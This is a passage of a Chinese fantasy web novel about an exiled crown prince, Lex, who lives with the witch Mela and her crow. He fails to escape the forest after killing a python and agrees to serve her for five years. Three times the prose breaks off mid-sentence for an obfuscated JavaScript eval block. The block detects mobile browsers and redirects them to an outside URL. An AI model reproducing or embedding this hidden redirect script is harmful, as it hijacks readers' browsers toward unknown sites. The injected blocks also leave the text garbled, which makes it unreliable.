难道说莱克斯不愿意干这种跑腿的活? 如果莱克斯提出了反对意见的话——梅拉也是不会同意的。 在女巫小屋里,梅拉就是唯一的规则,其它不管是人是鸟都得乖乖听她的话。 其实她完全可以用最恶心的材料制作一份药剂,逼着莱克斯喝下去,梅拉想到,这样莱克斯就会觉得替她跑腿是个好差事了。 事实上,莱克斯巴不得有机会能够出去认认路,自从他苏醒过来后,一直待在梅拉或是塞拉斯的眼皮子底下,压根找不到合理的借口探索小木屋之外的区域。 这样可不妙,莱克斯还计划着找机会逃离黑暗森林,不认识路怎么行。 总不能费劲力气逃出去了,兜兜转转又回到小木屋附近,那岂不是自投罗网。 只不过莱克斯的伤还没有完全痊愈,冒然离开小木屋不是一个明智的选择。万一在森林里遇到了什么危险,以莱克斯目前的实力,不一定能安然无恙的逃脱。 所以莱克斯的计划是等伤好后,再觅良机。 尽管这么做定然会让本就不充裕的时间雪上加霜,多拖延一天,王城的局势都有可能变得对他更加不利,但如果有办法,莱克斯何尝不想尽快赶回去呢。 莱克斯按捺下内心的焦虑,耐心等待,却没想到梅拉突然说要让塞拉斯带着他出去认路。 这可真是太好了。有塞拉斯在,莱克斯之前的担心就算不上问题了,想必危险一定会主动远离他们。 从这些天没有野兽敢靠近小木屋就知道了,女巫对森林里的动物还是很有震慑力的。 只不过高兴归高兴,莱克斯还是得做做样子,不能让梅拉觉得自己非常想离开小木屋,否则让她察觉了他的打算,不肯放他走怎么办。 虽然这两天梅拉除了喜欢使唤他干活之外,并不像传闻中那般阴晴不定,脾气暴躁易怒。 相反,梅拉在大多数事情上都懒得浪费精力计较,甚至连莱克斯为什么会受了箭伤沦落到黑暗森林,她都懒得多问一嘴。 倒是省了莱克斯扯谎的功夫。 听闻女巫会制作吐真药剂,莱克斯一度担忧如果梅拉逼他喝下药水,他能不能扛住药效。 结果是莱克斯多虑了,梅拉对他的来历压根不感兴趣。 在梅拉的眼里,莱克斯大概就是人形的塞拉斯,可以干一些鸟翅膀不方便干的活。 “好的,就这么愉快地决定了,明天由你们一起去交货。药剂我都用布裹了放在篮子里,早上记得不要来吵醒我。”梅拉打了个哈欠,懒洋洋地踱步到摇椅前,抖起毯子一起缩到了摇椅上。 塞拉斯则站到了它的栖杆上,闭上眼准备入眠。 莱克斯也躺到他铺在角落的毯子上,一夜无梦。 * 天一亮,塞拉斯立刻睁开眼,它像一位勤勤恳恳的管家,锐利的视线扫向角落,目的是检查莱克斯是否还在赖床。 很好,莱克斯看上去比它醒的还早,已经自觉地挎上了篮子,就等着塞拉斯一起出发了。 篮子里头不仅有要交给客人的变形药剂,还有两根粗/硬的棍状面包。 这就是一人一鸟的早餐了。 路上,塞拉斯一边站在篮子的边沿,时不时啄两口面包,一边指挥莱克斯该往哪儿走。 “这边这边,往这边走,可千万别走错了,否则就是给隔壁那头大黑熊送点心去了。” 闻言,莱克斯默默地记下,遇到长着黄色小花的岔路口要往右走。 等到了下一个岔路口,塞拉斯瞪着一双豆豆眼,举起翅膀摩挲了一下下巴,“唔,这两棵树怎么长得一模一样,我明明记得一个月前有一棵树比另一棵要矮来着。” “啊,找到了!我就说我这么聪明的一只乌鸦,怎么会不懂得做记号以防万一呢。” 塞拉斯一声招呼也没打,突然张开翅膀往上飞,绕着两棵树转了半天,然后才得意洋洋地飞下来,指挥莱克斯继续往右边的这条岔道走去。 “你做了什么记号?”莱克斯状似不经意的问起。 “从下往上数第五根树杈,被我用爪子画了个十字,所以我只要一飞上去就能看见它了。”塞拉斯挺了挺胸脯,很为自己的先见之明而自豪。 ……也就是说之后莱克斯如果打算逃跑,为了确认方向还得先爬个树。 莱克斯嘴角抽了抽,决定还是换个话题,“对了,左边那条岔道有什么危险吗?” “没什么,只不过是一块生长得很好的沼泽罢了。” 因为主人是梅拉的缘故,塞拉斯在语言的使用上同样学习了女巫的习惯,在她们眼中,风和河流一样是流动的,沼泽与树木一样是会生长的,万物都处于一个随时变化的状态。 “我和梅拉刚开始来到黑暗森林的时候,它才只能吞掉一头鹿,或者路过的几只野兔,现在的话,它大概能随随便便吞掉好几头大黑熊吧。”塞拉斯满不在乎的道。 反正沼泽这玩意儿,对会飞的鸟类造不成伤害,只有人类和其它需要走路的动物才会感到害怕。 噢,塞莱斯忘了,莱克斯就是这样一个会担心陷入沼泽的人类。 果然,莱克斯又不说话了,塞拉斯已经习以为常,扭头又啄了两口面包,嗯,好吃! * 不知走了多久,莱克斯总算走到了塞拉斯口中活了一百多年的老树下。 从它参天的高度,繁茂到几乎遮天蔽日的枝叶,以及大概需要数个成年男人才能环抱住的粗壮树干来看,这确实是一棵上了年纪的老树了。 莱克斯伸手抚摸粗糙的树皮,摸到了不少细细的裂痕,大概再过几十年,这些裂痕就会继续加深,达到肉眼可见的程度。 “梅拉的客人来了。”塞拉斯提醒道。 莱克斯转头,发现一名看上去大约三十多岁的棕发男人正拖着一架载满布袋子的木板车朝他们走来。 男人见到莱克斯显然很惊讶,加上莱克斯那头引人注目的金发,此刻正在阳光下闪耀着金子般的光辉,男人一时间嘴巴张了又闭,闭了又张,愣是一句话都没说出来。 “一、二、三……”塞拉斯可不管男人的异样,在板车上方盘旋了一阵,数清了布袋子的数量,满意的点头,“好了,莱克斯,可以把东西交给他了。” “莱克斯……你是王储殿下……”男人讷讷的道,认出了莱克斯的身份。 “哦?原来你是王储啊。”塞拉斯惊喜的道。 它自觉有了更高贵的身份,一时间连胸脯都更挺了。 莱克斯给梅拉干活,梅拉又是塞拉斯的主人,四舍五入之下,塞拉斯等于和王储是一个地位。 “嗯,等你回去后,不许把我在这的事情说出去。”莱克斯朝男人颔首,神色淡淡。 其实莱克斯本可以想个办法回避,以免身份被叫破,但他转念一想,他还需要借助这个机会了解外面现在是什么情况。 最终莱克斯面对男人,听到男人仍然称呼他为王储殿下时,莱克斯便知道,继王后暂时还没能得逞,让自己的儿子成为新的王储。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626447|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用猜,其中必定有不少是宰相斐南基替他周旋的功劳。 虽然努伦格尔九世的性格较为刚愎自用,很少听得进大臣们的劝阻,但面对伯爵出身,又是公认富有贤名的斐南基,他偶尔还是能听进去那么一两句话的。 毕竟如果没有斐南基替他操劳,努伦格尔九世天天忙着政务,怎么可能有时间在王宫里变着法的取乐。 如果不是终于有了流淌着自己血脉的亲子,忌惮着斐南基的继王后或许还要继续和莱克斯保持着面和心不和的样子。 想到这,莱克斯再一次感到了时间的紧迫。 斐南基再怎么说,也不可能永远替他拖下去,在所有人都相信王储已经身死的情况下,站在斐南基这一边的大臣们也会考虑同意立新王储这件事。 说到底,他们支持的是努伦格尔王室的正统,而不是莱克斯这个人。 在莱克斯沉思的功夫,棕发男人讷讷应下莱克斯的要求,见他不搭理自己,也不奇怪,径自抱着药剂离开了,留下了一架孤零零的木板车。 塞拉斯站在把手上,呼喊莱克斯快点回神,把板车拖回小木屋去。 “这布袋子里装的是什么,怎么这么沉?”莱克斯抓住把手,沉下身子使劲,终于成功让板车动了起来,在并不平坦的小路上滚出一道略有歪曲的辙痕。 一人一鸟照着原路返回。 “这是我们接下来一个月的粮食。”塞拉斯答道。 莱克斯想起了堆放在角落里的还没吃完的半袋子土豆,恍惚记起两种布袋子似乎长得一模一样。 再结合塞拉斯前不久说过的,两棵树一个月前还没长这么高,莱克斯意识到,刚才见到的那个棕发男人就和他未曾谋面的杜克瓦托一样,也是女巫的固定客人。 男人和女巫保持着每月一次的交易,按时给女巫送来粮食,女巫则给他需要的药剂。 莱克斯回忆男人的衣着,虽然衣服上没有打着明显的补丁,但也不像是有钱的打扮,或许是住在附近的村民。 难怪女巫要和他以物易物。 可惜黑暗森林附近的村子有好几个,分别通往不同的城镇,要是莱克斯能知道棕发男人究竟属于哪个村子,或许能更加完善脑内逐渐成型的计划。 不过,莱克斯突然有些疑惑,在他没有到来之前,梅拉与塞拉斯是如何把板车运回木屋的? 梅拉虽然是女巫,但那双如枝条般细瘦的胳膊看起来可没有多少力气。塞拉斯就更不用说了,外表看起来就和正常大小的乌鸦无异。 说起来传闻中女巫豢养的,喜爱食人的巨宠在哪?难道藏在他不知道的地方? 莱克斯心下一凛,打算之后想办法从塞拉斯嘴里套出有关魔宠的事情。 绝不能让这所谓的魔宠成为他计划中最大的变数。 * “梅拉,梅拉,我们回来了!”离小木屋还有一段肉眼可见的距离的时候,塞拉斯便迫不及待的大声嚷嚷了起来。 接着它张开翅膀,头也不回的往木屋的方向飞去,把辛苦拖着板车的莱克斯远远抛在了后头。 “知道了,辛苦你们俩了。”梅拉听到塞拉斯的声音,懒洋洋地从屋子里走出来,靠在门口,眼睁睁地看着塞拉斯朝自己飞来,减速,找好降落的姿势,最后落到了她左侧的肩膀上。 梅拉暗暗皱眉,自从塞拉斯成年后,它可真是越来越重了,下次她的肩膀或许都要接不住它了。 “说起来,我闻到了豆子的味道。”梅拉的视线落在了停下来的板车上。 等莱克斯当着梅拉的面把布袋子一一解开,发现里头还真有两大袋豆子。 莱克斯俯身,假装检查豆子中有没有发霉的情况,却并没有闻到什么味道。 “很神奇吧?女巫的五感可是很敏锐的。”瞧见莱克斯眼中一闪而过的不解,梅拉的食指轻轻点了点嘴角,露出了一个意味深长的微笑。 5. 第 5 章 一旦没有了照耀在头顶上的太阳,黑暗森林立刻弥漫起了一股有如自地底擢升起来的阴森,连触碰到小腿的草叶都沁着刺骨的凉意。 莱克斯隔着薄薄的一层布料,感受到了小腿处的湿意,他抿了抿唇,继续按照记忆中的路线朝前走去。 身后是被他越甩越远的小木屋,一弯钩子似的的银月悬挂在屋顶的尖角上,照亮了屋内沉睡着的女巫与乌鸦银白色的美梦。 距离莱克斯来到黑暗森林已经是第六天了,他身上的伤口已经完全愈合,正是离开的时机。 于是等到夜幕降临,梅拉与塞拉斯沉沉睡去,莱克斯睁开了眼睛。 经过莱克斯这些天的观察,一旦入睡,梅拉和塞拉斯便会直接一觉到天亮,不会有突然醒来的情况出现。 尽管如此,莱克斯还是轻手轻脚地来到门前。 随着极轻微的“吱呀”一声,门开了。 莱克斯立刻警觉地往身后扫了一眼,发现梅拉与塞拉斯如他预想的那般,依然闭着眼,呼吸平稳,显然并没有被这点细微的动静打扰。 很好,莱克斯关上门,单薄的身影转身投入了夜色之中。 遇到第一个岔道,看到那一丛长得正好的黄色小花在夜风中轻轻地摇摆,莱克斯想也不想便往右走去。 第二个岔道处是两棵长得一模一样的树,莱克斯攀着树干,从下往上数找到第五根树杈,以及塞拉斯留下的十字记号,便身姿矫健地从树上跳了下来。 幸好这两棵树长得还不算太高,否则莱克斯未必能爬上去。 尽管莱克斯从小跟着骑士长学习武艺,但切尔各可不会教王储殿下如何爬树。 ——只有在村子里长大的毛头小子才会热衷于像猴子一样挂在树上。 对于王储来说,爬树实在有违宫廷礼仪。 接下来,莱克斯继续前进,直到在下一个需要辨认方向的地方停下脚步。 森林里也不总是存在岔道。 事实上所谓的道路也是前人走出来的,那时候黑暗森林远不像现在这般危险,时不时就会有胆大的猎人闯进来,试图抓住点难缠的猎物拿去换更多的食物。 然而许多年过去,敢踏足黑暗森林的人越来越少,直至消失殆尽,曾经人为开辟出来的那些小路自然而然被疯长的植物重新占据。 浑身长满刺的荆棘,努力开出花苞的灌木月季,叶片浓绿光亮平时喜欢蜷缩成一团的球藤等等。 它们肆意生长,到了夜里更是大变了样,以至于莱克斯有些迟疑,到底该往哪里走才是正确的路。 无法,莱克斯只好借着月光仔细辨认,每每他觉得这个方向没错时,却总能挑出好几处地方与他白日记下的景象不同。 ……难办,难道只能把选择权交给虚无缥缈的命运吗?莱克斯皱紧眉头,始终无法下定决心,正是因为命运的不确定性,他更愿意相信自己的判断。 “咕——呱——”一道低沉的鸣叫突然自莱克斯右侧传来,锐利的视线立刻扫了过去,原来是一只癞蛤蟆突然跳到了莱克斯身旁比他还高一些的石头上,两粒血红的眼珠子正盯着他瞧。 这抹红色在银白的月光下显得格外妖异,莱克斯第一时间想到了梅拉储藏在各种罐子里的奇奇怪怪的材料,下意识的往后退了几步,拉开了与这只癞蛤蟆的距离。 然而这只癞蛤蟆久久地注视着莱克斯,下一秒,它吐出舌头飞快地卷了一只路过的小飞虫进嘴里,还滴下了两滴涎水。 莱克斯微微瞪大了双眼,确认自己并没有看错,那两滴涎水竟然轻微地腐蚀了石头的表面。 这就是黑暗森林吗?莱克斯从来没有见过像这样危险的癞蛤蟆,不敢想象它的涎水若是滴在了人的皮肤上——怕是那整块皮肉都要烂掉吧。 莱克斯下意识往后退了一步,手也摸上了绑在腰间的匕首。 这把匕首由王国内最好的工匠用精铁锻造而成,哪怕隔着一层刀鞘,都仿佛能感受到上头锋锐的寒意。 是切尔各离去前专门给莱克斯留下作为防身用的武器。 原本一直藏在莱克斯的靴子里,加上莱克斯平时有意遮掩,梅拉和塞拉斯都没发现他走路时偶尔透露出的古怪。 今夜为了方便逃跑,莱克斯才把它从靴子里拿了出来,以防万一。 只是这癞蛤蟆的涎水如果碰到匕首,在上面腐蚀出几个洞的话,那他唯一能用来防身的武器就废了。 想到这一点,莱克斯收回了放在腰间的手,干脆地挑了自己认为最可靠的方向离开,离那只危险的癞蛤蟆越远越好。 风声拂过草叶,发出细微的沙沙声,在静谧的夜里被莱克斯精准无误地捕捉。 与此同时,莱克斯踩下去的每一步都格外小心翼翼,生怕踩到盘踞在草丛间休憩的蛇虫,或是更可怕的,直接一脚踩入烂泥组成的沼泽里,拔都拔不出来。 说起来莱克斯今夜的运气还不错,一路上除了那只癞蛤蟆,再没碰到过别的动物,更别提令他忌惮的老虎、豹子之类的猛兽。 原本一直悬着的心稍微松了口气。 等一下,莱克斯的动作突然顿住,周围好像有点太安静了。 要知道哪怕是在深夜,森林里也不可能保持这样堪称死一般的寂静,除了风声,莱克斯现在只能听见自己刻意放缓的呼吸声。 然而即使身处小木屋之中,莱克斯都能在睡梦中听到遥远的方向偶尔传来一声不知名野兽的吼叫,怎么到了这里他就什么也听不到了? 除非霸占这片领地的主人把每一个胆敢入侵的敌人都杀死了。 敏锐的直觉在疯狂提醒着莱克斯,金色的眼眸来回扫视四周,并没有看见任何值得警惕的存在。 下一秒,莱克斯猛地抬头,与一双碧绿色的竖瞳直直地对上了视线。 随着莱克斯迅速退开,竖瞳的主人同样以极快的速度落到地上,这是一条通体漆黑的巨蟒,借着夜色与茂密的枝叶遮挡,完全隐藏在了参天巨树上。 又因为它盘踞在树上,莱克斯才没有察觉它的存在。 莱克斯发现巨蟒的时候,它似乎蠢蠢欲动地想要张开嘴,计划着从天而降把树底下的猎物一口吞下。 可惜在最后关头被警觉的莱克斯逃过一劫。 现在,落到地上的巨蟒直起身子,以高高在上的姿态俯视着莱克斯。 莱克斯的目光往下,没有忽略巨蟒在草叶遮掩下仍然盘了好几圈的下半身,他粗略估计这条巨蟒大概能有五到六米长。 与巨蟒搏斗?不,莱克斯第一时间否定了这个想法,他手里只有一把匕首,与歹人搏斗还行,对上巨蟒却显得有些鸡肋了。 万一只给巨蟒划了道小口子,却让它趁机贴近自己张开獠牙,莱克斯就得不偿失了。 眼下最好的办法其实是转身就逃,可莱克斯的双脚仿佛钉在了原地,一动不动。 这不是因为他被吓傻了,而是莱克斯敢肯定,如果自己没有挑选好时机随意转身,下一秒巨蟒就能直接扑上来把自己给吞吃了。 现在,巨蟒像是让莱克斯的镇定给唬住了,不断吐出鲜红的蛇信,探查莱克斯的危险程度。 双方陷入了暂时的对峙之中。 但莱克斯很清楚,这场对峙很快就会被打破: 下一刻巨蟒率先动了,径直朝莱克斯扑过来。 几乎是一眨眼的功夫,一张黑洞洞的嘴张开到人类无法想象的程度,两颗锋利的獠牙似乎在隐隐闪着寒光。 莱克斯的动作也很快,他断定巨蟒这一击只是试探,于是敏捷地躲开巨蟒的攻击后,迅速抓住空档转身就跑。 巨蟒没想到莱克斯竟然想也不想扭头就跑,有种被猎物戏耍了的感觉,气愤之下蛇腹快速碾过草丛,它飞快地追上了莱克斯。 此时巨蟒再度张开嘴,这一回的目标是莱克斯的小腿。 它清楚地知道只要咬伤莱克斯的小腿,他就没法继续行动了。 莱克斯似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626448|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是早有所察,利落地往旁边一滚,又让巨蟒的攻击扑了个空。 接连的失败没有让巨蟒放弃,反而让它认定了莱克斯,非得把他吞到肚子里不可。 在巨蟒发了疯一般的连续进攻下,好几次莱克斯都差点真的被獠牙咬到身上某处。 看来一味地躲避是没用了,莱克斯必须战胜巨蟒,才有逃出生天的机会。 想到这,莱克斯的目光一沉,毫不犹豫地拔出匕首,看看到底是谁能活下来吧! * 属于女巫的小木屋仍然保持着与世隔绝般的祥和,没有野兽敢轻易靠近这里,即使偶尔自灌木丛中窜出一只膘肥体壮的野猪,也会在看到屋顶的尖角后自觉地绕路,避免踏入银辉照亮的小路。 忽然,一道被月光拉长的黑影出现在小路的尽头,是莱克斯。 他抱着受伤的手臂,一路朝着小木屋走去。 若是有人在一旁仔细看,就会发现莱克斯的行动间有点一瘸一拐的迹象,这倒不是他的腿也受了伤,而是在与巨蟒的搏斗中被蛇尾狠狠绞住,绞出了青紫色的淤痕。 走起路来有着难以忽视的痛楚。 好在这场过程凶险的搏斗最后还是莱克斯赢了,以左臂受伤为代价。 只不过当气喘吁吁的莱克斯坐在巨蟒的尸体旁,意识到今晚已经过了大半,剩余的时间已经不足以支撑他成功逃离黑暗森林时,没有考虑太久,莱克斯决定先回小木屋再说。 只不过他左臂上的伤口是个问题,若隐若现的血腥味透过布料散发到空气中,都不用靠近,就知道莱克斯绝对受了伤。 简直和把他昨晚偷偷离开小木屋的事情直接跟梅拉坦白没有区别。 不行,莱克斯得想个办法把身上的伤瞒过去。 不知道梅拉上次说的治愈药剂还有没有存货。听塞拉斯说,梅拉制作的药剂是出了名的药效好到惊人,像他身上的箭伤只要喝几口治愈药剂,就能在短短半天内痊愈。 不过这种好东西梅拉是不会轻易拿出来给人用的。 一瓶止血药粉才卖十枚铜币,一瓶治愈药剂却要卖整整八枚银币,梅拉疯了才会给莱克斯喂这么昂贵的治愈药剂,撒点止血药粉靠身体自己痊愈得了。 莱克斯这些天已经领略了梅拉是个多么抠门的女巫,她连一根写字时断时续的羽毛笔都不舍得丢了换新的。 所以莱克斯打算如果能找到剩余的治愈药剂,只打开瓶塞偷偷喝一口,应该就不会被梅拉察觉了吧? 莱克斯走到门前,轻手轻脚地推开门,发现塞拉斯仍然站在栖杆上,把脑袋埋入羽毛中熟睡着。 梅拉则更不必说,月光照在她光滑如白瓷般的脸上,纤长的睫毛投下了一小片细密的阴影。 莱克斯松了一口气,以最轻的力道把门合上,然后来到与一整面墙持平的橱柜前,蹲下来,一个个格子摸过去,借着月光试图从中找到一瓶浓紫色的药剂。 可惜梅拉实在太爱乱放东西了,橱柜上的每一个格子不止堆了各种造型的瓶瓶罐罐,还包括了其它零零碎碎诸如纽扣之类的小玩意儿。 莱克斯必须小心再小心,才不至于把东西扫到地上,留下他不知道的破绽。 到后来遍寻不得的莱克斯自心中隐隐升起了一股焦躁,生怕塞拉斯或梅拉提前醒来,撞破这一幕。 谢天谢地,莱克斯终于在一个柜子里找到了他想要的治愈药剂。 从颜色来看应该就是它了,莱克斯松开紧皱的眉头,顾不得里头添加了多少令他抗拒的古里古怪的材料,准备仰头一饮而尽。 “一瓶治愈药剂需要八枚银币,你打算什么时候把钱给付了?” 梅拉的声音自莱克斯身后传来,语调一如既往的慵懒,似乎一点也不为莱克斯的举动而惊讶。 莱克斯的瞳孔骤然一缩。 梅拉她竟然醒着吗? 她是什么时候醒的? 是刚刚,还是说,她其实从一开始就醒着? 6. 第 6 章 小木屋中的情形此刻非常微妙,梅拉在摇椅上坐了起来,原本披在身上的毯子自然而然地滑落至膝盖。 莱克斯则站在橱柜前,脸上的神情藏在阴影中晦暗不明。 唯独塞拉斯仍然沉浸在美梦中,咂了咂嘴,对屋子里发生的事情充耳不闻。 “不试试女巫特制治愈药剂的效果吗?”梅拉盯着莱克斯拿在手中的瓶子,语调轻松。 以至于莱克斯有一瞬间怀疑她并不像自己想的那样,早就知晓了这一切,包括他想要逃跑的心思。 但对上那双幽绿的眼睛,沉淀的阴影在眼底仿佛水草一般摇曳,里头荡漾着看透一切的云淡风轻,使得莱克斯马不停蹄地抛弃了这可笑的幻想。 “为什么不拦下我?”莱克斯突然问了一个八竿子打不着的问题。 然而在梅拉回答之前,莱克斯的心中已经自动浮现了一个答案:他笃定梅拉是想看他的笑话。 试想如果梅拉一开始就切断莱克斯逃跑的想法,她又怎么欣赏得到莱克斯精心策划后又无功而返的一幕呢? 看到莱克斯如预想的那般抱着受伤的手臂回来,自以为成功瞒天过海地松了一口气时,梅拉一定在心底暗暗发笑吧。 这多么符合女巫的恶趣味啊。 “有什么必须拦下你的必要吗?反正没有我的帮助,你也走不出黑暗森林。”果然,梅拉道。 猜中真相但一点也不觉得高兴的莱克斯抿住唇,努力克制住额头疯狂想要暴起的青筋。 曾经高高在上的王储殿下何时被人这样戏耍过。 更别提把他当马戏团的猴子一样取乐。 唔,梅拉没有错过莱克斯的反应,看起来他像是很想给她两拳的样子。 然而梅拉不仅没有一点要悔改的意思,反而微微眯起眼,身体被摇椅带得轻微晃动,原来比起不停地使唤他做事,莱克斯更不能接受这种程度的逗弄啊。 唉,明明她是根据莱克斯的想法回答的,结果他看上去更生气了。 虽然梅拉有预感,她就算把真实原因说出来,莱克斯应该还是会生气。 其实直到莱克斯趁着夜色悄然离开小木屋,看似睡熟了的梅拉睁开眼,终于意识到他这些天的隐忍不发,沉默寡言究竟是为了什么。 难怪,梅拉在心里嘀咕,她就说含着金汤匙出生的小王子怎么脾气这么好,既不颐指气使,也不骄横跋扈,大多数时候,无论梅拉塞给他什么脏活累活,他都毫无怨言地接过。 当然,在梅拉故意的作弄下,莱克斯偶尔也会出现失态的行为,只不过每次他都会快速地收拾好自己的情绪,将眼底的不忿压抑回去。 比真正的大人还像个大人。 正是这样才激起了梅拉的兴趣,她继续不动声色地观察,发现莱克斯也不总是沉默的,每当他想要从单纯又对他毫无防备的塞拉斯嘴里套话时,就会主动抛出一个话题,状似无意地问: 怎么从没见过传闻中由女巫饲养出来的巨兽。难道梅拉除了塞拉斯之外还有别的宠物吗? “当然不是!梅拉永远只会有我这唯一一个宠物!包括传闻里的巨兽也是我,是梅拉对我用了变大咒语之后的样子!” 果然,塞拉斯为了捍卫自己梅拉唯一宠物的地位,一下子把莱克斯想知道的事情全吐露了出来。 “当梅拉对我使用变大咒语后,我就能变得比一座小山还大,还能载着梅拉随意在天上飞来飞去。” 塞拉斯骄傲地用翅膀为莱克斯比划比一座小山还大到底是多大,又状似苦恼实则炫耀地告诉莱克斯,上次全靠它在天上投下的阴影,才把那些追在他身后的人吓得直接离开了黑暗森林。 莱克斯的心念一动,顺势朝正趴在桌子上午睡的梅拉看过去,他原本还奇怪,如果那些追兵一直追在他的身后,他应该等不到梅拉把他捡回来才对。 感受到身后的目光,梅拉悄悄睁开眼,幸好她及时把头扭了过来,不然就要被莱克斯发现她一直在偷听他与塞拉斯的对话了。 总之梅拉对塞拉斯的观察有惊无险地持续到了他逃跑的前一秒。 按理说看到莱克斯逃跑,梅拉应该出手把他拦下来才对,好歹还完她的救命恩情再跑吧! 梅拉可不是真的做善事不要求回报的性格。 想到这,躺在摇椅上的梅拉有所动作,她翻了个身,换了个更舒服的姿势蜷着。 在梅拉到来之前,黑暗森林就已凶名远播,鲜少有人敢进来冒险——因为大着胆子进来的那些人全都失去消息,再也没人见过他们的踪影。 所以说,黑暗森林里危险的可不只有女巫,莱克斯单枪匹马,是不可能顺利离开的。 而梅拉只要耐心等着就好。 事实上,正如梅拉想的那样,莱克斯最终还是回来了,身上还带着伤。 嗅到那股若有若无的血腥气,梅拉默默把盖住脸的毯子往下扯了一点。 止血药粉一直被她用一个涂了油彩的小坛子放在橱柜上,很容易就能找到,不过这回她可不打算免费给莱克斯使用了,好歹也是十枚铜币呢。 只是梅拉没想到莱克斯的胃口这么大,竟然掏出了她藏在柜子里的治愈药剂。 梅拉忍不住出声了,否则之后莱克斯如果以不知道价格为由赖账怎么办?她是女巫,可不是什么黑心商人,干不来那种强买强卖的事。 但看到莱克斯真的不喝了,梅拉又怀疑他是不是在心疼八枚银币的价格,那可不行,区区八枚银币,对小王子来说算得了什么呢?暂时还不上账他还可以欠债嘛! 就在梅拉试图劝动莱克斯喝下这瓶治愈药剂时,莱克斯却突然朝梅拉单膝跪下了,以骑士的礼节。 “这是干什么?就算你给我下跪,我也不会答应免费的噢。”梅拉一惊,整个人从懒洋洋躺着的姿态转而直接坐了起来。 “……不,您误会了,我并不是为了这瓶药剂。” 莱克斯顿了顿,像是下定了某种巨大的决心,才缓缓道:“尊敬的女巫大人,我恳请您与我定下助我复仇的契约。” 是的,刚刚那么短的时间里,莱克斯忽然想明白了,他为什么要拒绝甚至惹怒一位如此强大的女巫?相反,他完全可以借助女巫的力量直接达成回王城复仇的目的。 比起早就落魄的母族,生死不明的骑士长切尔各,受多方牵制无法全心全意侍奉于他的宰相斐南基,莱克斯意识到将女巫收为他的幕僚才是明智之举。 或许女巫确实如教会的宣传那般阴险恶毒、口蜜腹剑,喜欢背刺他人,但那又如何?莱克斯自觉有一名王者应该拥有的包容之心,至少在女巫对他尚存用处之前,莱克斯无论如何都不会放弃她。 “……事成之后,价值连城的珠宝、王宫宝库里成山的金银、乃至于尊贵的贵族头衔与广阔的封地,我都能许诺于您。”莱克斯扬起脸,方便梅拉看清他眼中饱含的诚意。 “不,我拒绝。”梅拉想也不想的道。 “为什么?”莱克斯不解,他以为梅拉是觉得以他目前的处境未必能兑现诺言,沉吟片刻,补充道,“我可以用我自身的性命作为抵押,若无法完成契约,这条命便由您拿去好了。” 也许别人的性命对于女巫来说无足轻重,但莱克斯自诩身为努伦格尔王室的血脉,数百年前他的先祖便成为了王国的君主,此后这份荣耀代代相传,如今流传到了他的身上,作为王储,他的命自然值得女巫另眼相待。 可惜让莱克斯失望了,梅拉笑吟吟的再一次拒绝了他,“你说的那些我都不感兴趣,你的复仇,还是由五年后的你亲自完成吧。” “为什么是五年后?”莱克斯还来不及为梅拉的拒绝失望,就被她嘴里的条件吸引了全部的注意。 “因为这五年里你要给我当仆人,直到报答完我对你的恩情。”梅拉理所当然地道。 五年后,无论莱克斯是想走还是想留下来,梅拉都随他的便。但这三年里,梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626449|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉保证能让莱克斯找不到办法成功离开黑暗森林。 见莱克斯嘴唇微微开合似乎想说点什么,梅拉赶紧提前打断他,“难道你觉得我对你的救命之恩不值得你当仆人来报答我吗?” 莱克斯怎么也没法说出不值得这个词。 这就对了,看莱克斯沉默,梅拉继续加大力度劝道,“何况只是五年而已,到时候你也才十七岁,还很年轻,不是吗?” “……好。”莱克斯终究还是答应了下来,不为别的,就为梅拉切切实实救了他一命。 是梅拉给了他回去复仇的机会。 若是这条命都没了,还谈什么复仇呢? 不过,莱克斯重新提出了另一个请求,“我希望您可以为我的骑士长占卜一下他的安危,如果他现在是安全的,那真是再好不过了。” 切尔各的事情同样沉甸甸地挂在莱克斯的心头,现在有机会得知他的情况,莱克斯没道理就这么放过。 “可以啊,”这回梅拉没有回绝莱克斯的请求,她眨了眨眼,语音含笑,“只不过代价是你要给我多当一年仆人。怎么样,很划算吧?” “当然,如果你不愿意,可以拒绝。”想了想,梅拉又补充道,她从来不强买强卖。 莱克斯想也不想的点头同意了,“好。” 不管怎么说,切尔各都是为了他才身陷险境,作为切尔各效忠的对象,莱克斯无论如何都不能就这么放任他下落不明。 如果,如果切尔各已经不幸沦落到了最糟糕的情况,莱克斯眸色一暗,他也有必要在回到王都之前为他收敛骸骨,送还家乡。 这是一位忠心的骑士死后应得的体面。 “既然你同意了,那就让我来看看吧。” 梅拉使唤莱克斯从柜子上取下她的水晶球,对,就是看起来平平无奇,里头蒙着层层灰絮似的那个玩意儿。 